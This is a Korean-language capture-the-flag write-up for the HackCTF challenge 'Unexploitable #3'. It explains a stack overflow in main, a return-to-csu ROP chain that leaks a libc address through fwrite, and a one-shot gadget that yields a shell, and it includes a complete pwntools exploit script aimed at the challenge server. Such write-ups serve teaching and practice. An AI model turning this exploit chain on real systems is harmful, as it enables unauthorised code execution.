[HackCTF]Unexploitable #3

이번에는 RTC 응용해서 fwrite로 익스할 수 있는 문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
  fgets(&s, 256, stdin);
  return 0;
}

메인에서는 리턴 주소 바꿀 수 있다. gift 함수를 잘 보면 이번에는 system gadget을 안줬다.

여기서 leak을 할 때 쓸만한 함수는 fwrite 하나밖에 없다. 이를 이용해서 leak을 해주면 된다.

근데 RTC는 인자를 rdi, rsi, rdx 이 3개밖에 못 넣어준다.

gift함수를 자세히보면 mov rcx, [rdi] ret 가젯이 존재했다. 이를 통해서 4번째 인자에 값을 넣어줄 수 있었다.

stdout도 존재하니까 이걸 mov rcx, [rdi] ret 를 이용해서 4번째 인자에 넣어주면 된다.

__libc_csu_init 영역을 이용해서 fwrite(fwrite_got,1,6,stdout) 이런식으로 가젯을 맞춰주면 fwrite을 통해 libc base를 구할 수 있고 메인으로 간다음에 라이브러리 맞춰주고 oneshot gadget구해서 리턴해주면 쉘을 흭득할 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./Unexploitable_3')
#p = process('./Unexploitable_3')
p = remote('ctf.j0n9hyun.xyz',3034)
libc = e.libc
csu_call = 0x0000000000400720
csu_pop = 0x000000000040073A
mov_ret = 0x0000000000400658 # 00658 mov     rcx, [rdi]
stdout = 0x0000000000601050
prdi = 0x0000000000400743 # pop rdi ; ret

# rdi rsi rdx rcx
def chain(r12,edi,rsi,rdx,ret):
	c = ''
	c += p64(csu_pop)
	c += p64(0)
	c += p64(1)
	c += p64(r12) # call
	c += p64(rdx) # 3
	c += p64(rsi) # 2
	c += p64(edi) # 1
	c += p64(ret)
	return c

payload = '\x90'*0x10
payload += 'realsung'
payload += p64(prdi)
payload += p64(stdout)
payload += p64(mov_ret)
payload += chain(e.got['fwrite'],e.got['fwrite'],1,6,csu_call)
payload += chain(0,0,0,0,e.symbols['main'])
p.sendlineafter('!\n',payload)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['fwrite']
log.info('libc_base : ' + hex(libc_base))

payload2 = '\x90'*0x10
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)
p.sendlineafter('!\n',payload2)

p.interactive()